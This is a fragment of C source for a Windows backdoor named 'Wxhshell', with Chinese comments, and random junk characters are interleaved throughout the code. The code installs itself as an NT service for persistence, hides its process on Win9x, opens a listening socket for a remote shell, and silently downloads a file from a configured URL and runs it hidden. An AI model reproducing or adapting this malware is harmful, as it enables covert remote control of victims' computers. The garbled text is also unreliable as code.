} 6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2/A*\ if(hProcess==NULL) return 0; 9* 3;v;F -~JYfj@ HMODULE hMod; >iG3!Td)y char procName[255]; -@]b7J?`k unsigned long cbNeeded; 6!itr" ]LxE#R5V if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OJA_OqVp$K ojm IEzsz CloseHandle(hProcess); 3HcduJntl Yd~J( if(strstr(procName,"services")) return 1; // 以服务启动 9Qu(RbDqC =<PEvIn return 0; // 注册表启动 ':tdb$h } Qa:[iF `jOk6;Z[ // 主模块 \JR^uJ{Y int StartWxhshell(LPSTR lpCmdLine) 4:**d[|1 { +hispU3ia SOCKET wsl; 9I<~t@q5e@ BOOL val=TRUE; }!Pty25j int port=0; umnQ$y
0 struct sockaddr_in door; =w`uZ;l$Q w 2U302TZ if(wscfg.ws_autoins) Install(); n`w]? bL Pe\Obd8d port=atoi(lpCmdLine); 2T?Y T fIOS] if(port<=0) port=wscfg.ws_port; v?,@e5GZ I][&*V1 WSADATA data; !J@!2S9 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5#X R1#` q7soV(P if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .$y'>O*$G setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Eld[z{n" door.sin_family = AF_INET; l.g.O>1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~9#x=nU:+V door.sin_port = htons(port); ;P;c!}:\b :qB|~"9O if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R6;#+ 1D closesocket(wsl); Z.Dg=>G] return 1; #XqCz>Z } UA~ 4O Q] :Ru8Nm if(listen(wsl,2) == INVALID_SOCKET) { xqY'-Hom closesocket(wsl); 3>MILEY^ return 1; ,3-^EfccW } @b., pwZF Wxhshell(wsl); 4]p#9`j WSACleanup(); ,:'JJZg@ $-t@=N@vO? return 0; /hVwrt( Qmo}esb'( }
#QcRN?s GRofOJ // 以NT服务方式启动 2&]LZ:( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )Qe]!$tqfD { I
2OQ DWORD status = 0; 5cU:wc DWORD specificError = 0xfffffff; Rcw[`q3/ T!41[vm( serviceStatus.dwServiceType = SERVICE_WIN32; Ck%if serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q_iN/F serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5|pF*8* serviceStatus.dwWin32ExitCode = 0; #$2/< serviceStatus.dwServiceSpecificExitCode = 0; }
d8\ Jg serviceStatus.dwCheckPoint = 0; LA2/<: serviceStatus.dwWaitHint = 0; _
gYj@
% _Ds,91<muQ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y`7<c5zD if (hServiceStatusHandle==0) return; 6dz^%Ub W1)<!nwA status = GetLastError(); ao .vB']T if (status!=NO_ERROR) a.?U$F { ~Sm6{L serviceStatus.dwCurrentState = SERVICE_STOPPED; ]'Ho)Q serviceStatus.dwCheckPoint = 0; OUGkam0UK serviceStatus.dwWaitHint = 0; ;]>)6 serviceStatus.dwWin32ExitCode = status; ]W2#8:i serviceStatus.dwServiceSpecificExitCode = specificError; z8{-I@+` SetServiceStatus(hServiceStatusHandle, &serviceStatus); VEIct{ return; &s?uMWR } 5}]+|d; [ @"6:tTU serviceStatus.dwCurrentState = SERVICE_RUNNING; .%.7~Nu, serviceStatus.dwCheckPoint = 0; X9FO"(J serviceStatus.dwWaitHint = 0; nIfAG^?|* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F|5Au>t } oCI\yp@a ,5}w]6bCr // 处理NT服务事件,比如:启动、停止 |Z2"pV VOID WINAPI NTServiceHandler(DWORD fdwControl) cRbA+0m> { q%$p56\?3 switch(fdwControl) E7@Gpu,o { 2@z .ory. case SERVICE_CONTROL_STOP: Rj>A", serviceStatus.dwWin32ExitCode = 0; :p]e4|R serviceStatus.dwCurrentState = SERVICE_STOPPED; @sg.0GR serviceStatus.dwCheckPoint = 0; yOKzw~;0% serviceStatus.dwWaitHint = 0; H6jt[ { "gm5DE SetServiceStatus(hServiceStatusHandle, &serviceStatus); m9:ah< } SvvNk return; w <"mS*Q case SERVICE_CONTROL_PAUSE: &$_!S!Sa/ serviceStatus.dwCurrentState = SERVICE_PAUSED; eQ8t.~5;- break; dlCYdwP case SERVICE_CONTROL_CONTINUE: i}v.x serviceStatus.dwCurrentState = SERVICE_RUNNING; oS9Od8 break; J!5b~8`v case SERVICE_CONTROL_INTERROGATE: &V(6N%A^U break; vS0 ii }; !-3;Qj}V SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y\B6c^E) } Z^as ?k(iM il!B={ // 标准应用程序主函数 N_iy4W(NU int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5<v1v& { Udn Rsp9S 6<fG;: // 获取操作系统版本 MO7R3PP OsIsNt=GetOsVer(); $m*Gu:#xm& GetModuleFileName(NULL,ExeFile,MAX_PATH); GCO: !,1 `<>QKpAn // 从命令行安装 kI@<H< if(strpbrk(lpCmdLine,"iI")) Install(); IHd
W!q ysIhUpd // 下载执行文件 aHpZhR|f$ if(wscfg.ws_downexe) { ZBY2,%nAo if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WfG +_iP? WinExec(wscfg.ws_filenam,SW_HIDE); @Bhcb.kbq } },JJ!3 7/QK"0 if(!OsIsNt) { (Y7zaAG] // 如果时win9x,隐藏进程并且设置为注册表启动 sw$uZ$$~# HideProc(); L{8_6s(: StartWxhshell(lpCmdLine); LOfw
#+]d } <Ohi+a%6 else r#)1/`h if(StartFromService()) rg >2tgA // 以服务方式启动 F5/,S StartServiceCtrlDispatcher(DispatchTable); ; xp-MK else >|kD(}Axf // 普通方式启动 `kQosQV StartWxhshell(lpCmdLine); 457{9k 81s
}4 return 0; YT(Eh3ID }
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